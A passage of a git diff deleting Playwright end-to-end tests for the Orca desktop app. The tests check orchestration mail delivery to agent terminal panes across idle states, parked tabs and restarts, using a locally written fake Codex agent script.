terminal: pane.handle, - types: 'worker_done', - wait: true, - timeoutMs: 8_000 - }) - .catch(() => undefined) - await orcaPage.waitForTimeout(1_000) - - const subject = 'Filtered waiter' - const messageId = await sendMail(client, mailbox, { subject, type: 'status' }) - - await expectPointed(pane) - await expect - .poll(() => mailDisposition(readMailRow(userDataDir, messageId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - await waiting - }) - - test('worker completion points and wakes its idle Run coordinator without consuming mail', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - await driveToLiveIdle(client, pane) - - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Verify worker completion pointer delivery', - from: pane.handle - }) - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Report one P3 finding', - run: run.result.run.id, - callerTerminalHandle: pane.handle - }) - const dispatched = await client.call<{ dispatch: { id: string } }>('orchestration.dispatch', { - task: task.result.task.id, - run: run.result.run.id, - from: pane.handle, - to: pane.handle - }) - const body = 'full private review finding must remain in SQLite' - const payload = JSON.stringify({ - taskId: task.result.task.id, - dispatchId: dispatched.result.dispatch.id, - outcome: 'succeeded' - }) - const sendParams = { - from: pane.handle, - to: pane.handle, - subject: 'review: one P3 finding', - body, - type: 'worker_done', - payload - } - const orchestrationRequestId = randomUUID() - const sent = await client.call<{ message: { id: string; to_handle: string } }>( - 'orchestration.send', - sendParams, - { orchestrationRequestId } - ) - const runAddress = `run:${run.result.run.id}` - expect(sent.result.message.to_handle).toBe(runAddress) - - await expectPointed(pane) - await expectSubmitted(pane) - expect(pane.agent.readStdin()).not.toContain(body) - const pointedRow = readMailRow(userDataDir, sent.result.message.id) - expect(pointedRow).toMatchObject({ - to_handle: runAddress, - read: 0, - delivered_at: expect.any(String) - }) - - const stdinAfterFirstPointer = pane.agent.readStdin() - const duplicate = await client.call<{ message: { id: string } }>( - 'orchestration.send', - sendParams, - { orchestrationRequestId } - ) - pane.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - pane.agent.setTitle(CODEX_IDLE_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_IDLE_TITLE) - await orcaPage.waitForTimeout(NO_DELIVERY_SETTLE_MS) - expect(pane.agent.readStdin()).toBe(stdinAfterFirstPointer) - expect(duplicate.result.message.id).toBe(sent.result.message.id) - expect(readMailbox(userDataDir, runAddress).filter((row) => row.read === 0)).toEqual([ - expect.objectContaining({ id: sent.result.message.id }) - ]) - - const checked = await client.call<{ messages: { id: string; body: string }[] }>( - 'orchestration.check', - { terminal: pane.handle, run: run.result.run.id } - ) - expect(checked.result.messages).toEqual([ - expect.objectContaining({ id: sent.result.message.id, body }) - ]) - }) - - // STA-11980: an unacked batch (left by an older Orca) defers the nudge for newer mail instead of dropping it. - // e0cb9a68d2b: agents queue mid-turn input, so a turn starting in the Enter delay no longer withholds Enter. - test('points newer mail once behind an unacked Delivery, and submits it when a turn starts in the Enter delay', async ({ - orcaPage, - electronApp - }) => { - // Agent launch, two idle edges and two settle windows. - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const reminder = 'which you have not acknowledged' - const pane = await openAgentPane({ - titleOnStdin: { needle: reminder, title: CODEX_WORKING_TITLE } - }) - pane.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - const mailbox = await createRunMailbox(client, pane, 'Unacked Delivery') - const heldId = insertUnackedRunDelivery(userDataDir, { - runId: mailbox.slice('run:'.length), - subject: 'Held batch' - }) - // Mail is typed mid-turn too, so settle idle first or the idle title can land after the reaction. - pane.agent.setTitle(CODEX_IDLE_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_IDLE_TITLE) - // The fake starts working as the reminder lands, inside the Enter delay. - const newerId = await sendMail(client, mailbox, { subject: 'Newer mail' }) - await expect - .poll(() => countOccurrences(pane.agent.readStdin(), reminder), { - timeout: DELIVERY_TIMEOUT_MS, - message: 'held-batch reminder never reached the agent' - }) - .toBe(1) - expect(pane.agent.readStdin()).toContain(`--ack ${heldId}`) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - await expectSubmitted(pane) - await expect - .poll(() => mailDisposition(readMailRow(userDataDir, newerId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - - // A later idle edge with nothing newer stays quiet. - await driveToLiveIdle(client, pane) - // ast-grep-ignore: test-no-real-time-wait -- absence of a second pointer needs the delivery chain's window - await orcaPage.waitForTimeout(NO_DELIVERY_SETTLE_MS) - expect(countOccurrences(pane.agent.readStdin(), reminder)).toBe(1) - expect(countOccurrences(pane.agent.readStdin(), '\r')).toBe(1) - - const acked = await client.call('orchestration.check', { - terminal: pane.handle, - ack: heldId - }) - expect(acked.result.messages).toEqual([]) - const next = await client.call('orchestration.check', { - terminal: pane.handle - }) - expect(next.result.messages.map((message) => message.subject)).toEqual(['Newer mail']) - }) - - // #35274: binding Run B keeps Run A, so its direct mail is pointed with its own --run, never Run B's check. - test('points direct Run A mail at Run A after the pane binds Run B', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, userDataDir, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane() - pane.agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(client, pane.handle, CODEX_WORKING_TITLE) - - const runA = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Original mailbox owner', - from: pane.handle - }) - const runB = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Current pane binding', - from: pane.handle - }) - const messageId = insertDirectRunMail(userDataDir, { - runId: runA.result.run.id, - toHandle: pane.handle, - subject: 'Run A direct completion' - }) - expect(readMailRow(userDataDir, messageId)).toMatchObject({ - run_id: runA.result.run.id, - delivery_contract: 'current_delivery', - to_handle: `run:${runA.result.run.id}`, - read: 0, - delivered_at: null - }) - - pane.agent.setTitle(CODEX_IDLE_TITLE) - await expectPointed(pane) - await expectSubmitted(pane) - expect(pane.agent.readStdin()).toContain(`${POINTER_COMMAND} --run ${runA.result.run.id}`) - expect(pane.agent.readStdin()).not.toContain(`--run ${runB.result.run.id}`) - - const checkedB = await client.call<{ - runId: string - deliveryId: string | null - messages: unknown[] - count: number - }>('orchestration.check', { terminal: pane.handle }) - expect(checkedB.result).toMatchObject({ - runId: runB.result.run.id, - deliveryId: null, - messages: [], - count: 0 - }) - expect(mailDisposition(readMailRow(userDataDir, messageId))).toBe('pushed') - - const checkedA = await client.call<{ messages: { id: string }[] }>('orchestration.check', { - terminal: pane.handle, - run: runA.result.run.id - }) - expect(checkedA.result.messages).toEqual([expect.objectContaining({ id: messageId })]) - }) - - test('writes and submits the pointer for a Cursor agent pane', async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - const { client, openAgentPane } = await setUpMailFixture(orcaPage, electronApp) - const pane = await openAgentPane({ executable: 'cursor-agent' }) - pane.agent.setTitle(CURSOR_IDLE_TITLE) - await waitForObservedTitle(client, pane.handle, CURSOR_IDLE_TITLE) - const mailbox = await createRunMailbox(client, pane, 'Cursor pointer submit') - - const subject = 'Cursor pointer submit' - await sendMail(client, mailbox, { subject }) - - await expectPointed(pane) - await expectSubmitted(pane) - }) -}) - -test.describe('orchestration delivery to a cold-parked agent', () => { - const parkingDelayMs = 500 - - test.use({ - orcaAppExtraEnv: { - ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(parkingDelayMs), - ORCA_E2E_ORCHESTRATION_POINTER_ENTER_DELAY_MS: '5000' - } - }) - - test('keeps one pointer and one idempotent prompt on the same parked PTY', async ({ - orcaPage, - electronApp - }, testInfo: TestInfo) => { - test.setTimeout(180_000) - const { client, userDataDir, worktreeId, openAgentPane } = await setUpMailFixture( - orcaPage, - electronApp - ) - const pane = await openAgentPane() - await driveToLiveIdle(client, pane) - const mailbox = await createRunMailbox(client, pane, 'Cold parked delivery') - const beforePark = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(beforePark.panes[0]?.ptyId).toBe(pane.ptyId) - const tabId = beforePark.tabId - const agentPid = pane.agent.readLedger().find((entry) => entry.event === 'start')?.pid - expect(agentPid).toEqual(expect.any(Number)) - - const parkDetectedAfterMs = await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: parkingDelayMs - }) - expect(await getActiveTabId(orcaPage)).not.toBe(tabId) - expect(await orcaPage.locator(`[data-terminal-tab-id=${JSON.stringify(tabId)}]`).count()).toBe( - 0 - ) - - const mailSubject = `Cold parked pointer ${randomUUID()}` - const messageId = await sendMail(client, mailbox, { subject: mailSubject }) - await expect - .poll( - () => ({ - pointers: countOccurrences(pane.agent.readStdin(), POINTER_COMMAND), - enters: countOccurrences(pane.agent.readStdin(), '\r') - }), - { - timeout: DELIVERY_TIMEOUT_MS, - message: 'cold-parked mailbox delivery did not write one pointer and one Enter' - } - ) - .toEqual({ pointers: 1, enters: 1 }) - expect(mailDisposition(readMailRow(userDataDir, messageId))).toBe('pushed') - const stdinAfterPointer = pane.agent.readStdin() - - const promptMarker = `ORCA_E2E_PARKED_PROMPT_${randomUUID()}` - const promptRequestId = randomUUID() - const promptParams = { - terminal: pane.handle, - text: promptMarker, - enter: true, - agentPrompt: true as const, - client: { id: 'orca-e2e', type: 'desktop' as const } - } - const firstSend = await client.call<{ - send: { accepted: boolean; prompt?: { requestId: string; stages: string[] } } - mutation: { requestId: string; replayed: boolean } - }>('terminal.send', promptParams, { orchestrationRequestId: promptRequestId }) - expect(firstSend.result).toMatchObject({ - send: { accepted: true, prompt: { requestId: promptRequestId } }, - mutation: { requestId: promptRequestId, replayed: false } - }) - await expect - .poll( - () => ({ - pointers: countOccurrences(pane.agent.readStdin(), POINTER_COMMAND), - prompts: countOccurrences(pane.agent.readStdin(), promptMarker), - enters: countOccurrences(pane.agent.readStdin(), '\r') - }), - { timeout: DELIVERY_TIMEOUT_MS, message: 'parked prompt did not reach the agent once' } - ) - .toEqual({ pointers: 1, prompts: 1, enters: 2 }) - const stdinAfterFirstSend = pane.agent.readStdin() - - const replay = await client.call<{ - send: { accepted: boolean; prompt?: { requestId: string; stages: string[] } } - mutation: { requestId: string; replayed: boolean } - }>( - 'terminal.send', - { ...promptParams, waitSubmitMs: 1_000 }, - { orchestrationRequestId: promptRequestId } - ) - expect(replay.result).toMatchObject({ - send: { accepted: true, prompt: { requestId: promptRequestId } }, - mutation: { requestId: promptRequestId, replayed: true } - }) - expect(pane.agent.readStdin()).toBe(stdinAfterFirstSend) - - await activateTerminalTab(orcaPage, tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - const afterReveal = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(afterReveal.tabId).toBe(tabId) - expect(afterReveal.panes[0]?.ptyId).toBe(pane.ptyId) - await expect( - orcaPage.locator(`[data-terminal-tab-id=${JSON.stringify(tabId)}] .xterm-screen`).first() - ).toBeVisible() - expect(new Set(pane.agent.readLedger().map((entry) => entry.pid))).toEqual(new Set([agentPid])) - - const evidence = { - tabId, - ptyBefore: pane.ptyId, - ptyAfter: afterReveal.panes[0]?.ptyId, - agentPid, - parkDetectedAfterMs, - pointerEnterCountAfterDelivery: countOccurrences(stdinAfterPointer, '\r'), - pointerPayloadCount: countOccurrences(pane.agent.readStdin(), POINTER_COMMAND), - promptPayloadCount: countOccurrences(pane.agent.readStdin(), promptMarker), - enterCount: countOccurrences(pane.agent.readStdin(), '\r'), - replayAddedStdin: pane.agent.readStdin().length - stdinAfterFirstSend.length, - firstMutation: firstSend.result.mutation, - replayMutation: replay.result.mutation - } - testInfo.annotations.push({ - type: 'cold-parked-orchestration-delivery', - description: JSON.stringify(evidence) - }) - const evidencePath = testInfo.outputPath('cold-parked-orchestration-delivery.json') - writeFileSync(evidencePath, `${JSON.stringify(evidence, null, 2)}\n`) - await testInfo.attach('cold-parked-orchestration-delivery.json', { - path: evidencePath, - contentType: 'application/json' - }) - const screenshotPath = testInfo.outputPath('cold-parked-agent-revealed.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('cold-parked-agent-revealed.png', { - path: screenshotPath, - contentType: 'image/png' - }) - }) -}) diff --git a/tests/e2e/orchestration-idle-mail-restore.spec.ts b/tests/e2e/orchestration-idle-mail-restore.spec.ts deleted file mode 100644 index c2f618bb4aa..00000000000 --- a/tests/e2e/orchestration-idle-mail-restore.spec.ts +++ /dev/null @@ -1,170 +0,0 @@ -// #12536: restart must not inject mail until the agent emits a fresh live title. -// Cold relaunch publishes leaves after restore seeding, so this case restores no status and does not pin lastAgentStatusObservedLive. -// orca-runtime.test.ts stages seeded idle directly to pin that gate; this spec proves the real process survives two launches. -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { - execInTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId -} from './helpers/terminal' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - CODEX_IDLE_TITLE, - CODEX_WORKING_TITLE, - createMailPaneAgent -} from './helpers/orchestration-mail-pane-agent' -import { mailDisposition, readMailRow } from './helpers/orchestration-mail-store' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const POINTER_COMMAND = 'orca-dev orchestration check' -const NO_DELIVERY_SETTLE_MS = 5_000 -const DELIVERY_TIMEOUT_MS = 20_000 - -test.describe.configure({ mode: 'serial' }) - -async function waitForRegisteredWorktree(client: RuntimeClient, worktreeId: string): Promise { - await expect - .poll( - async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some((worktree) => worktree.id === worktreeId) - }, - { timeout: 60_000, message: 'runtime never registered the worktree' } - ) - .toBe(true) -} - -async function waitForObservedTitle( - client: RuntimeClient, - handle: string, - title: string -): Promise { - await expect - .poll( - async () => { - const listed = await client.call('terminal.list') - return listed.result.terminals.find((entry) => entry.handle === handle)?.title ?? null - }, - { timeout: 30_000, message: `runtime never observed the title ${title}` } - ) - .toBe(title) -} - -test('keeps mail pending across a restart and delivers it when the agent reports live', async (// oxlint-disable-next-line no-empty-pattern -- this spec owns both Electron launches and opts out of the shared app fixture. -{}, testInfo) => { - test.setTimeout(300_000) - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - const firstClient = new RuntimeClient(session.userDataDir, 30_000, null, null) - await waitForRegisteredWorktree(firstClient, worktreeId) - - // Reuse the mounted fixture leaf; terminal.create instead races hidden CI’s 10s renderer graph-sync wait. - const ptyId = await waitForActivePanePtyId(first.page) - const { paneKey } = await waitForActivePaneHookDescriptor(first.page) - const originalHandle = ( - await firstClient.call<{ terminal: { handle: string } }>('terminal.resolvePane', { paneKey }) - ).result.terminal.handle - const originalPtyId = ptyId - - // Keystrokes typed before the shell reaches its prompt are dropped outright. - await waitForPtyShellEcho(first.page, ptyId, 60_000) - const agent = createMailPaneAgent() - await execInTerminal(first.page, ptyId, agent.launchCommand) - await expect - .poll(() => agent.hasStarted(), { timeout: 60_000, message: 'agent never started' }) - .toBe(true) - - agent.setTitle(CODEX_WORKING_TITLE) - await waitForObservedTitle(firstClient, originalHandle, CODEX_WORKING_TITLE) - agent.setTitle(CODEX_IDLE_TITLE) - await waitForObservedTitle(firstClient, originalHandle, CODEX_IDLE_TITLE) - const titlesBeforeRestart = agent.titleEmitCount() - const run = await firstClient.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Restart-safe mailbox delivery', - from: originalHandle - }) - - await session.close(firstApp) - firstApp = null - - const second = await session.launch() - secondApp = second.app - const secondClient = new RuntimeClient(session.userDataDir, 30_000, null, null) - - // The surviving PTY is identified by process identity; restart may mint a new handle. - let restoredHandle: string | null = null - await expect - .poll( - async () => { - const listed = await secondClient.call('terminal.list') - const restored = listed.result.terminals.find( - (entry) => entry.ptyId === originalPtyId && entry.writable - ) - restoredHandle = restored?.handle ?? null - return restored?.title ?? null - }, - { timeout: 120_000, message: 'agent pane never came back writable after restart' } - ) - .toBe(CODEX_IDLE_TITLE) - expect(restoredHandle).toBeTruthy() - - // The process emitted nothing after restart, so any status is restored memory rather than live observation. - expect(agent.titleEmitCount()).toBe(titlesBeforeRestart) - - const sent = await secondClient.call<{ message: { id: string } }>('orchestration.send', { - to: `run:${run.result.run.id}`, - from: 'e2e-sender', - subject: 'Seeded idle must wait', - body: 'e2e body', - type: 'status' - }) - const messageId = sent.result.message.id - - // Wait the full window; polling pending could pass before push runs. - expect(readMailRow(session.userDataDir, messageId)).toBeDefined() - await second.page.waitForTimeout(NO_DELIVERY_SETTLE_MS) - expect(mailDisposition(readMailRow(session.userDataDir, messageId))).toBe('pending') - expect(agent.readStdin()).not.toContain(POINTER_COMMAND) - - // Repeat the same idle title to change only observation liveness and resume delivery. - agent.setTitle(CODEX_IDLE_TITLE) - await expect - .poll(() => agent.titleEmitCount(), { timeout: 30_000 }) - .toBeGreaterThan(titlesBeforeRestart) - await expect - .poll(() => agent.readStdin(), { - timeout: DELIVERY_TIMEOUT_MS, - message: 'live idle frame never released the pending mail' - }) - .toContain(POINTER_COMMAND) - await expect - .poll(() => mailDisposition(readMailRow(session.userDataDir, messageId)), { - timeout: DELIVERY_TIMEOUT_MS - }) - .toBe('pushed') - } finally { - if (firstApp) { - await session.close(firstApp) - } - if (secondApp) { - await session.close(secondApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts b/tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts deleted file mode 100644 index e9ec5de149d..00000000000 --- a/tests/e2e/orchestration-legacy-worker-missing-terminal-recovery.spec.ts +++ /dev/null @@ -1,386 +0,0 @@ -import { readPersistedProfileState } from './helpers/persisted-profile-state' -import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActivePanePtyId } from './helpers/terminal' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { DaemonClient } from '../../src/main/daemon/transport/client/daemon-client' -import { - getDaemonSocketPath, - getDaemonTokenPath -} from '../../src/main/daemon/launch/daemon-spawner' -import Database from '../../src/main/sqlite/sync-database' -import '../../src/main/runtime/orchestration/db/orchestration-db' -import { LEGACY_CONTRACT_VERSION } from '../../src/main/runtime/orchestration/db/contract-constants' -import '../../src/main/runtime/orchestration/db/messages/mailbox-routing-page' -import '../../src/main/runtime/orchestration/db/dispatch-row-writer' -import '../../src/main/runtime/orchestration/db/attempt-outcome-projection' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { - buildFakeAgentCommandOverride, - FAKE_AGENT_WINDOWS_SHELL -} from './helpers/fake-agent-command-override' -import { FAKE_AGENT_PASTE_END_SCANNER_SOURCE } from './helpers/fake-agent-paste-end-scanner' -import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from './helpers/fake-codex-launch-probes' - -const PROVIDER_SESSION_ID = 'e2e-missing-legacy-worker' -const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-missing-legacy-worker-')) -const spawnLedgerPath = path.join(fakeCliDir, 'spawn.jsonl') -const interruptionLedgerPath = path.join(fakeCliDir, 'interruption.jsonl') -const fakeCodexCommand = buildFakeAgentCommandOverride( - path.join(fakeCliDir, process.platform === 'win32' ? 'codex.cmd' : 'codex') -) -const fakeCodexSource = ` -const { appendFileSync } = require('node:fs') -function appendLedger(envName, event) { - const ledgerPath = process.env[envName] - if (!ledgerPath) return - try { - appendFileSync(ledgerPath, JSON.stringify({ pid: process.pid, ...event }) + '\\n') - } catch {} -} -${FAKE_CODEX_LAUNCH_PROBES_SOURCE} -appendLedger('ORCA_E2E_SPAWN_LEDGER', { event: 'spawn' }) -process.stdout.write('\\u001b]0;Codex Ready\\u0007OpenAI Codex\\nmodel: e2e\\ndirectory: e2e\\n') -let acknowledged = false -${FAKE_AGENT_PASTE_END_SCANNER_SOURCE} -process.stdin.on('data', (chunk) => { - const input = chunk.toString() - const pasteEndScan = scanFakeAgentPasteEnd(fakeAgentPasteEndTail, input) - fakeAgentPasteEndTail = pasteEndScan.tail - if (pasteEndScan.pasteEndOffset !== null) { - process.stdout.write('\\x1b[?25h') - } - if (input.includes('\\x03')) { - appendLedger('ORCA_E2E_INTERRUPTION_LEDGER', { event: 'stdin-ctrl-c' }) - } - if (!acknowledged) { - fakeAgentMaybeAck(pasteEndScan, input, (mode) => { - acknowledged = true - const message = mode === 'bracketed' ? 'ACK' : 'PASTE_PROTOCOL_ERROR' - process.stdout.write('\\u001b]0;Codex Working\\u0007' + message + '\\n') - setTimeout(() => process.stdout.write('\\u001b]0;Codex Ready\\u0007'), 10) - }) - } -}) -process.stdin.setRawMode?.(true) -for (const signal of ['SIGINT', 'SIGHUP', 'SIGTERM']) { - process.on(signal, () => { - appendLedger('ORCA_E2E_INTERRUPTION_LEDGER', { event: 'signal', signal }) - process.exit(0) - }) -} -process.stdin.resume() -setInterval(() => {}, 60_000) -` - -if (process.platform === 'win32') { - writeFileSync(path.join(fakeCliDir, 'fake-codex.js'), fakeCodexSource) - writeFileSync( - path.join(fakeCliDir, 'codex.cmd'), - '@echo off\r\nnode "%~dp0\\fake-codex.js" %*\r\n' - ) -} else { - const executable = path.join(fakeCliDir, 'codex') - writeFileSync(executable, `#!/usr/bin/env node\n${fakeCodexSource}`) - chmodSync(executable, 0o755) -} - -type LedgerEvent = { pid: number; event: string; signal?: string } - -function readLedger(ledgerPath: string): LedgerEvent[] { - if (!existsSync(ledgerPath)) { - return [] - } - return readFileSync(ledgerPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => JSON.parse(line) as LedgerEvent) -} - -function isProcessAlive(pid: number): boolean { - try { - process.kill(pid, 0) - return true - } catch { - return false - } -} - -async function removeDetachedDaemonSession(userDataDir: string, ptyId: string): Promise { - const daemonDir = path.join(userDataDir, 'daemon') - const client = new DaemonClient({ - socketPath: getDaemonSocketPath(daemonDir), - tokenPath: getDaemonTokenPath(daemonDir) - }) - try { - await client.ensureConnected() - await client.request('kill', { sessionId: ptyId, immediate: true }) - } finally { - client.disconnect() - } -} - -async function detachedDaemonSessionExists(userDataDir: string, ptyId: string): Promise { - const daemonDir = path.join(userDataDir, 'daemon') - const client = new DaemonClient({ - socketPath: getDaemonSocketPath(daemonDir), - tokenPath: getDaemonTokenPath(daemonDir) - }) - try { - await client.ensureConnected() - const result = await client.request<{ sessions: { sessionId: string }[] }>( - 'listSessions', - undefined - ) - return result.sessions.some((session) => session.sessionId === ptyId) - } finally { - client.disconnect() - } -} - -function hasPersistedResumeRecord(userDataDir: string, paneKey: string): boolean { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = readPersistedProfileState(userDataDir) as { - workspaceSession?: { - sleepingAgentSessionsByPaneKey?: Record - } - } - return ( - data.workspaceSession?.sleepingAgentSessionsByPaneKey?.[paneKey]?.providerSession?.id === - PROVIDER_SESSION_ID - ) -} - -function markDispatchLegacy(userDataDir: string, dispatchId: string): void { - const db = new Database(path.join(userDataDir, 'orchestration.db')) - try { - db.prepare( - `UPDATE dispatch_contexts - SET contract_version = ?, capability_hash = NULL, capability_revoked_at = NULL, - launch_token_hash = NULL - WHERE id = ?` - ).run(LEGACY_CONTRACT_VERSION, dispatchId) - } finally { - db.close() - } -} - -function readSettledDispatch(userDataDir: string, dispatchId: string): unknown { - const db = new Database(path.join(userDataDir, 'orchestration.db')) - try { - return db - .prepare( - `SELECT dc.status AS dispatch_status, wd.state AS worker_state, wd.stage - FROM dispatch_contexts dc - INNER JOIN worker_dispatches wd ON wd.dispatch_id = dc.id - WHERE dc.id = ?` - ) - .get(dispatchId) - } finally { - db.close() - } -} - -test.describe.configure({ mode: 'serial' }) - -test.afterAll(() => { - rmSync(fakeCliDir, { recursive: true, force: true }) -}) - -test('a missing legacy worker cannot spawn a replacement during restart recovery', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns both Electron launches. -{}, testInfo) => { - test.setTimeout(300_000) - rmSync(spawnLedgerPath, { force: true }) - rmSync(interruptionLedgerPath, { force: true }) - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - - const session = createRestartSession(testInfo, { - PATH: `${fakeCliDir}${path.delimiter}${process.env.PATH ?? ''}`, - ORCA_E2E_SPAWN_LEDGER: spawnLedgerPath, - ORCA_E2E_INTERRUPTION_LEDGER: interruptionLedgerPath - }) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await first.page.evaluate( - async ({ agentCommand, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: agentCommand }, - terminalWindowsShell - }) - }, - { agentCommand: fakeCodexCommand, terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL } - ) - await ensureTerminalVisible(first.page) - await getActiveTabId(first.page) - await waitForActivePanePtyId(first.page) - const coordinatorPane = await waitForActivePaneHookDescriptor(first.page) - const firstClient = new RuntimeClient(session.userDataDir, 30_000, null, null) - const coordinator = await firstClient.call<{ terminal: { handle: string } }>( - 'terminal.resolvePane', - { paneKey: coordinatorPane.paneKey } - ) - const coordinatorTerminal = await firstClient.call<{ - terminal: { worktreeId: string } - }>('terminal.show', { terminal: coordinator.result.terminal.handle }) - await expect - .poll(async () => { - const listed = await firstClient.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - return listed.result.worktrees.some( - (candidate) => candidate.id === coordinatorTerminal.result.terminal.worktreeId - ) - }) - .toBe(true) - const run = await firstClient.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Missing legacy worker recovery', - from: coordinator.result.terminal.handle - }) - const task = await firstClient.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Respond ACK and remain idle', - run: run.result.run.id, - callerTerminalHandle: coordinator.result.terminal.handle - }) - await firstClient.call('orchestration.workerStart', { - task: task.result.task.id, - from: coordinator.result.terminal.handle, - agent: 'codex', - timeoutMs: 15_000 - }) - - let worker = ( - await firstClient.call('terminal.list') - ).result.terminals.find((terminal) => terminal.title === 'Codex Ready') - await expect - .poll(async () => { - const listed = await firstClient.call('terminal.list') - worker = listed.result.terminals.find((terminal) => terminal.title === 'Codex Ready') - return worker?.ptyId ?? null - }) - .toBeTruthy() - const workerPtyId = worker?.ptyId - if (!workerPtyId) { - throw new Error('Codex worker PTY was not listed') - } - const workerPaneKey = `${worker!.tabId}:${worker!.leafId}` - await expect - .poll(async () => { - const read = await firstClient.call<{ terminal: RuntimeTerminalRead }>('terminal.read', { - terminal: worker!.handle, - limit: 100 - }) - return read.result.terminal.tail.join('\n') - }) - .toContain('ACK') - const dispatch = await firstClient.call<{ - dispatch: { id: string } | null - }>('orchestration.dispatchShow', { task: task.result.task.id }) - expect(dispatch.result.dispatch?.id).toBeTruthy() - await expect.poll(() => readLedger(spawnLedgerPath)).toHaveLength(1) - const [initialSpawn] = readLedger(spawnLedgerPath) - - const transcriptPath = session.seedCodexResumeRollout(PROVIDER_SESSION_ID, repoPath) - await first.page.evaluate( - ({ agentCommand, paneKey, tabId, workerWorktreeId, terminalHandle, transcript }) => { - window.__store?.getState().setAgentStatus( - paneKey, - { state: 'working', prompt: 'Respond ACK and remain idle', agentType: 'codex' }, - 'Codex Ready', - undefined, - { tabId, worktreeId: workerWorktreeId, terminalHandle }, - { - providerSession: { - key: 'session_id', - id: 'e2e-missing-legacy-worker', - transcriptPath: transcript - }, - launchConfig: { - // Resume prefers the captured command over overrides; pin its path so bare codex cannot launch the user’s installation. - agentCommand, - agentArgs: '--dangerously-bypass-approvals-and-sandbox', - agentEnv: {} - } - } - ) - window.__store?.getState().captureAllSleepingAgentSessions('quit') - }, - { - agentCommand: fakeCodexCommand, - paneKey: workerPaneKey, - tabId: worker!.tabId, - workerWorktreeId: worker!.worktreeId, - terminalHandle: worker!.handle, - transcript: transcriptPath - } - ) - await expect.poll(() => hasPersistedResumeRecord(session.userDataDir, workerPaneKey)).toBe(true) - markDispatchLegacy(session.userDataDir, dispatch.result.dispatch!.id) - - await session.close(firstApp) - firstApp = null - await removeDetachedDaemonSession(session.userDataDir, workerPtyId) - await expect - .poll(() => 